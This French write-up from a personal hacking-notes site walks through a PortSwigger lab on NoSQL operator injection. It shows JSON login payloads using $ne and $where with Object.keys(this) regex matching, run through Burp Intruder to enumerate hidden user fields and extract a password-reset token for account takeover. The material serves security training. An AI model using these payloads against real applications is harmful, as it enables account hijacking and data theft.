> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).

# Extraction de champs inconnus avec des opérateurs NoSQL

Notes sur l'extraction de champs inconnus avec des opérateurs NoSQL pour les laboratoires PortSwigger Web Security Academy, incluant le flux d'exploitation, les tests de payload, la validation avec Burp Suite et le contexte de remédiation.

### Exploitation d’une injection d’opérateur NoSQL pour extraire des champs inconnus

La fonctionnalité de recherche d’utilisateurs de ce laboratoire repose sur une base de données NoSQL MongoDB. Elle est vulnérable à une injection NoSQL. / L’objectif est de se connecter en tant que **carlos**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6806922c91f5c4bf015232812383b98cac2e51a7%2F%7B277C3925-0B53-477E-B629-508C83C44FBC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contexte initial

Il existe une fonctionnalité **Mot de passe oublié**.

La requête envoyée en POST à `/forgot-password` ressemble à ceci :

```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```

### Test d’injection NoSQL sur la connexion

Lors d’une tentative d’injection NoSQL sur le formulaire de connexion :

```json
{
  "username": "carlos",
  "password": { "$ne": "x" }
}
```

Le compte est bloqué et le message suivant apparaît :

> Compte verrouillé : veuillez réinitialiser votre mot de passe

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cd04909d509d84e1f00e09d563b07f42e5800ce%2F%7B8AA0423A-572E-404D-B1FF-19C5A02F5754%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Blocage avec `$where`

On observe qu’ajouter le `$where` champ est interprété par le serveur :

* Si `$where` est `1` → le compte reste bloqué
* Si `$where` vaut la peine `0` → le blocage disparaît

Exemple :

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "0"
}
```

Cela confirme que `$where` l’opérateur est exécutable.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eec3073cb4cc1ddb3b1db2c95d8cdb7adfb10a2c%2F%7BB8651D6B-3F36-4CE2-AD49-CB8CB44017AE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Limitation et changement de stratégie

L’idée initiale serait d’utiliser `$where` pour vérifier directement le mot de passe, par exemple :

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.password...."
}
```

Cependant, comme le compte est verrouillé, cette approche n’est pas utilisable. / Il faut donc passer par une **réinitialisation du mot de passe**.

#### Lister les champs de l’objet utilisateur

`$where` est utilisé pour lister les clés de l’objet utilisateur avec :

```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```

Requête complète :

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8897d4e9994215750484bb1423c89742e269d5%2F%7B626A5E1E-79DD-4597-B2F4-D52E1D7A1818%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `X`: position du caractère (0-20)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31f80c4b992e774b926e4e42defbbed2b1b53b51%2F%7BB85296EB-95BD-4E53-936F-0741163612E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `Y`: caractères testés (`a-z`, `A-Z`, `0-9`)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f95ca644e8d4aae3711c9191bbadf902e5fa10f%2F%7B9219D408-EF68-4991-BDB1-05189A5307A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Attaque envoyée via **Intruder** par **Cluster Bomb**

#### Résultats de l’énumération des champs

D’après la longueur de la réponse (**Content-Length**):

* `Object.keys(this)[0]` → `id`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c03ee2adf336ef64c3b461112d27ee795acbedd%2F%7B202435A4-9CD7-4050-8883-7D51CD681489%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```

* `Object.keys(this)[1]` → `nom d’utilisateur`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5767e1199712e085752c0a87b31e76c7f3a82f0%2Fimage%20(84).png?alt=media" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[2]` → `mot de passe`

```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a69b8a7cb93ab79495a26a461d147241b5de92d%2Fimage%20(85).png?alt=media" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[3]` → `email`
* `Object.keys(this)[4]` → `passwordReset`

" Le `passwordReset` champ n’apparaît que si une réinitialisation du mot de passe a été déclenchée pour **carlos**.

```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```

#### Confirmation de la `passwordReset` Champ

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6740c42fa6f37ecd9b5ee9a201868ef97684d393%2Fimage%20(86).png?alt=media" alt=""><figcaption></figcaption></figure>

Accès au point de terminaison :

```bash
/forgot-password?passwordReset=
```

Réponse :

> Jeton invalide

Le champ existe

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d57f1270f09d0560eecc9943ba102e73e82c15e%2F%7B278D99E9-61E8-4B8A-A82A-2676DB490B81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Liste des jetons `passwordReset`

La valeur du jeton est ensuite extraite :

```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```

```javascript
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.passwordReset.match('^.{X}Y.*')"
}
```

* `X`: position du caractère
* `Y`: caractères possibles

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88d2018008ed282eab0a014904aa320650071204%2F%7BA83C7CEC-440F-4296-9542-64CFD169FC13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Envoyer via **Intruder** (Cluster Bomb)

#### Résultat

Le **carlos** le jeton de réinitialisation est récupéré :

```bash
5d252f7e28f468ee
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88d2018008ed282eab0a014904aa320650071204%2F%7BA83C7CEC-440F-4296-9542-64CFD169FC13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitation finale

Avec ce jeton, vous pouvez accéder à la fonctionnalité de réinitialisation du mot de passe et définir un nouveau mot de passe pour **carlos**, ce qui vous permet de vous connecter à votre compte et de valider le laboratoire.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea93586af3d243099e454613b90f649a52c3eb2d%2F%7BC19B93CE-1FAA-4E77-858C-B69A6E6450CC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
